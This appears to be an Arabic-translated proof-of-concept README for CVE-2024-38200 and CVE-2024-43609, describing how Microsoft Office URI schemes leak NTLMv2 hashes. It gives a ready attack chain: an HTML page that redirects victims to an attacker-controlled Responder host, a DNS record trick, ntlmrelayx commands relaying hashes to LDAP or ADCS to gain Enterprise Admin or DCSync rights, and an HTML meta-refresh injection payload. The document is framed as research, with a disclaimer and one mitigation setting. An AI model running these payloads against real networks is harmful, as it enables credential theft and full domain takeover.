passtheticket/cve-2024-38200CVE-2024-38200 وCVE-2024-43609 - ثغرة الإفصاح عن NTLMv2 في Microsoft Office
لم يتم إصلاح التقاط تجزئة NTLMv2 عبر بروتوكول HTTP. لا يزال من الممكن الحصول على قيمة تجزئة NTLMv2 عبر HTTP وترحيلها إلى LDAP أو ADCS. صرّح MSRC بأن هذا الوضع "كما هو معروض يبدو أنه جزء من التصميم الحالي."
حتى إذا تم إصلاح هذه الثغرة، وكما هو مذكور في قسم Integrated Windows Authentication، لا يزال من الممكن الحصول على قيمة التجزئة وترحيلها مع الإعدادات الافتراضية.
سابقًا، تمت مشاركة طريقة لالتقاط تجزئات NTLMv2 عبر SMB باستخدام مخططات عناوين URI الخاصة بـ Office. كانت الفكرة الرئيسية بسيطة. أرسل عنوان URL لملف HTML أدناه إلى الضحية والتقط تجزئة NTLMv2 عبر SMB. رابط
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
هذه هي نقطة الإلهام بالنسبة لي. إذا نظرنا إلى صفحة مخططات عناوين URI الخاصة بـ Office، يمكننا أن نرى استخدام بروتوكول https:// ضمن مخطط URI. يشير هذا الوضع إلى أن http:// يمكن استخدامه أيضًا. يعد التقاط تجزئة NTLMv2 عبر HTTP أكثر فائدة من التقاطها عبر SMB لتنفيذ هجوم ترحيل NTLM ضد خادم Domain Controller مخطط الترحيل.
عندما استخدمت URI بصيغة ms-word:ofe|u|http://test.local:8080/leak/leak.docx ضد Office 2016 MSO (16.0.4266.1001) 32-bit، ظهرت نافذة تحذير لحماية المستخدم من النشاط الضار ولكن لا يمكنني قول الشيء نفسه بالنسبة لـ Microsoft 365 Office and Office 2019. تصل هذه الإصدارات إلى ملف Office بعيد دون تحذير ويمكن استغلالها لالتقاط تجزئة NTLMv2 عبر بروتوكولي SMB وHTTP.
اكتشفت أن التصحيح الخاص بـ CVE-2024-38200 لم يتم تطبيقه بشكل صحيح. بعد نشر التصحيح، اختبرت الثغرة ضد Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) و Microsoft 365 MSO 2408 Build 16.0.17928.20114 وتبين أن الثغرة لا تزال قابلة للاستغلال كما هو موضح أدناه CVE-2024-43609 .
يمكننا إعادة توجيه طلب HTTP إلى مسار UNC مع إعادة توجيه 302 عندما يقوم تطبيق Office بتقديم طلب عبر مخططات عناوين URI الخاصة بـ Office (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) . يقوم سكربت uncredirect.py بمعالجة طلب HTTP الذي يتم إرساله بمخطط URI الخاص بـ MS Office وإعادة توجيهه إلى مسار UNC يتضمن عنوان IP الخاص بـ Responder. هذا الوضع سيجعل من الممكن التقاط تجزئة NTLMv2 عبر SMB وتجاوز القيود الأمنية لـ URI بصيغة ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py وresponder.office.html إلى المستخدم الضحية.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
يعد التقاط تجزئة NTLMv2 عبر HTTP أكثر فائدة من التقاطها عبر SMB من أجل ترحيل LDAP. عندما يتم طلب ملف عبر URI خاص بـ Office، يمكن الحصول على تجزئة NTLMv2 عبر HTTP دون إعادة توجيه إلى مسار UNC باستخدام إعادة توجيه 302. لا يمكن تنفيذ هذه الطريقة عبر الإنترنت لأنه، ما لم يكن هناك خطأ في الإعدادات في Internet Properties، لن يحدث مصادقة NTLM عبر HTTP لمضيف خارج الشبكة المؤسسية.
ومع ذلك، أعتقد أن هذه طريقة فعالة لهجوم الترحيل وتصعيد الامتيازات.
تؤثر إعدادات "Internet Properties" على سلوك مصادقة NTLM لتطبيقات Office. يمكننا رؤية ذلك من خلال بعض الأمثلة. لنفترض أننا نستخدم صيغة URI التالية ms-excel:ofe|u|http://192.168.1.7/leak.xlsx لالتقاط تجزئة NTLMv2.
عندما يتم تطبيق أحد سياسات GPO المدرجة أدناه على جهاز ضحية مرتبط بالمجال، يقوم تطبيق Office بإجراء المصادقة تلقائيًا.
Automatic logon with current user name and password لـ User Authentication في Internet ZoneLocal Intranet (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) ويتم تعيين خيار Automatic logon with current user name and password لـ User Authentication في منطقة Trusted Sites
في حالة تطبيق أحد سياسات GPO المذكورة أعلاه، بعد أن ينقر المستخدم الضحية على URI، سيتم جلب ملف leak.docx بواسطة تطبيق Office من خادم المهاجم وسيتم الحصول على تجزئة NTLMv2 لأن سياسة GPO المطبقة تتسبب في حدوث مصادقة NTLM تلقائيًا.
مثال لسيناريو إساءة استخدام GPO:
بعد تعيين URI الخاص بـ Office مع عنوان IP (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx)، يمكننا إرسال عنوان URL لملف office.html إلى مستخدم بصلاحيات مسؤول المجال وترحيل التجزئة التي تم التقاطها إلى خادم LDAP(S) باستخدام ntlmrelayx. سيقوم ntlmrelayx بإنشاء مستخدم جديد وإضافته إلى مجموعة Enterprise Admins بمجرد النقر على زر "Open".
ملاحظة:
يمكن سرد المواقع المضافة عبر GPO باستخدام مفاتيح التسجيل التالية.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
إذا لم يتم تطبيق أحد سياسات GPO المذكورة أعلاه، فلن تحدث مصادقة NTLM تلقائيًا. ومع ذلك، إذا أضفنا سجل DNS من النوع A واستخدمنا هذا السجل داخل URI الخاص بـ Office، فستعتبر Windows اسم المضيف جزءًا من منطقة Intranet. بهذه الطريقة، تحدث مصادقة NTLMv2 تلقائيًا ويمكن لمستخدم عادي تصعيد الامتيازات دون الحاجة إلى GPO تم تكوينه بشكل خاطئ. يمكن لأي مستخدم بالمجال بصلاحيات عادية إضافة سجل DNS غير موجود لذلك يعمل هذا الهجوم مع الإعدادات الافتراضية لمستخدم بالمجال.
office.html من أي خادم يمكن للمستخدم الضحية الوصول إليه (e.g., https://office.com/office.html) . قمت بتعيين المنفذ 8081 لـ Apache لأن ntlmrelayx سيستخدم المنفذ 80 افتراضيًا. يمكننا استخدام --http-port مع ntlmrelayx كخيار آخر. أدخل السجل المضاف في URI الخاص بـ Office داخل ملف office.html.
شغّل ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
أرسل عنوان URL لملف office.html إلى مستخدم بصلاحيات مسؤول المجال. يجب عليك التحقق من تحليل سجل DNS باستخدام الأمر ping قبل إرسال URL.
عندما ينتقل المستخدم الضحية إلى عنوان URL، فإن النقر على زر 'Open' يكفي لالتقاط تجزئة NTLMv2. (بدون تحذير!)
يتم ترحيل تجزئة NTLMv2 التي تم التقاطها عبر HTTP إلى Domain Controller باستخدام ntlmrelayx. نتيجة لذلك، يمكن للمستخدم العادي الحصول على صلاحيات DCSync وEnterprise Admins في ظل التكوينات الافتراضية بنقرتين فقط.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
ملاحظة-1: إذا تم اختراق خادم مرتبط بالمجال وكان من الممكن تشغيل inveigh أو ntlmrelayx عليه، فليس من الضروري إضافة سجل DNS.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
ملاحظة-2: كخيار آخر، يمكن ترحيل تجزئة المستخدم الضحية إلى ADCS بدلاً من LDAP:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
تم تنفيذ هذا الإثبات على Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) و Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176) .
أي شخص استخدم Windows في بيئة إنترانت مؤسسية ربما لاحظ أن الوصول إلى موارد المؤسسة في الشبكة يتم بسلاسة، وفي كثير من الحالات لا يتطلب مطالبة صريحة بإدخال بيانات الاعتماد بخلاف تسجيل الدخول الأولي إلى مجال Windows. ينطبق هذا على العديد من الخدمات، مثل محركات الأقراص المعينة عبر الشبكة، ومواقع الإنترانت، والمزيد. متصفحات Microsoft Internet Explorer وEdge لديها مفهوم المناطق الموثوقة: Internet، وLocal Intranet، وTrusted Sites، وRestricted Sites. كل منطقة لها مستوى أمان مختلف وقيود مرتبطة بها. على سبيل المثال، بالنسبة لمواقع منطقة Intranet، يقوم Internet Explorer بتعطيل مرشح XSS، ويشغل ملحقات ActiveX، ويقوم بتسجيلات الدخول التلقائية، وبشكل عام لديه ضوابط أمان أقل من مواقع الإنترنت. افتراضيًا، عندما يكون لدى خادم الويب مورد محمي بمصادقة NTLM، سيقوم Internet Explorer وEdge بإجراء المصادقة تلقائيًا إذا كان الموقع موجودًا داخل الإنترانت المؤسسية أو كان مدرجًا في القائمة البيضاء في Trusted Sites، مع احترام مفهوم المناطق الموثوقة. المتصفحات الأخرى، مثل Mozilla Firefox وGoogle Chrome، تدعم أيضًا تسجيل الدخول التلقائي عبر NTLM. يعتمد Chrome على نفس الإعدادات التي يعتمد عليها Internet Explorer؛ في حالة Firefox، هذا التكوين غير ممكّن افتراضيًا ويجب تغييره يدويًا عبر about:config.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
لكي يتمكن مضيف بعيد من المصادقة عليك، على سبيل المثال نتيجة لاتباع مسار UNC، هناك شروط معينة يجب توفرها. في الغالب، لتقليل احتمالية تسريب التجزئات إلى شبكات خارجية مثل الإنترنت، يجب أن يقع نظامك ضمن منطقة "local intranet". أسهل طريقة لتلبية هذا المطلب عندما يكون لديك بالفعل موطئ قدم على الشبكة الداخلية للهدف هي استخدام اسم NetBIOS الخاص بنظامك. أي، إذا كنت على workstation1.contoso.com، فيجب عليك استخدام workstation1 في مسار UNC الخاص بك لإجباره على الدخول إلى منطقة الإنترانت المحلية.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
كما ذكرنا، تؤثر التغييرات في Internet Properties أيضًا على سلوك مصادقة NTLM لمتصفحي Edge وChrome. تدعم هذه المتصفحات مصادقة NTLM التلقائية وتفترض Windows أن اتصال HTTP مع اسم NetBIOS يقع ضمن منطقة الإنترانت وتقوم بمصادقة NTLM. أدركت لاحقًا أنه، كما هو موضح في إثبات المفهوم، إذا تم إنشاء سجل DNS وإرسال عنوان URL مع اسم NetBIOS (e.g., http://kali14/notexist.html ) إلى مستخدم، فمن الممكن التقاط تجزئة NTLMv2 للمستخدم وترحيلها إذا تم الانتقال إلى عنوان URL في متصفحي Edge أو Chrome. إذا قمنا بترحيل تجزئة NTLMv2 لمستخدم متميز إلى LDAP(s) باستخدام ntlmrelayx، يمكننا تصعيد الامتيازات في المجال مع الإعدادات الافتراضية.
Edge:
Chrome:
بدلاً من إرسال الرابط إلى المستخدم، يمكن استخدام حقن HTML لالتقاط تجزئة NTLMv2:
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Include all local (intranet) sites not listed in other zones في إعدادات مواقع Local intranet لمنع مصادقة NTLM التلقائية عبر HTTP. الخيار المعني محدد افتراضيًا. 
ملاحظة: هذا الاستغلال مقدم لأغراض تعليمية وبحثية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو أضرار ناتجة عن تطبيق هذا الاستغلال. الاستخدام غير المصرح به لهذا الكود في بيئات ليس لديك فيها إذن صريح هو أمر غير قانوني وغير أخلاقي.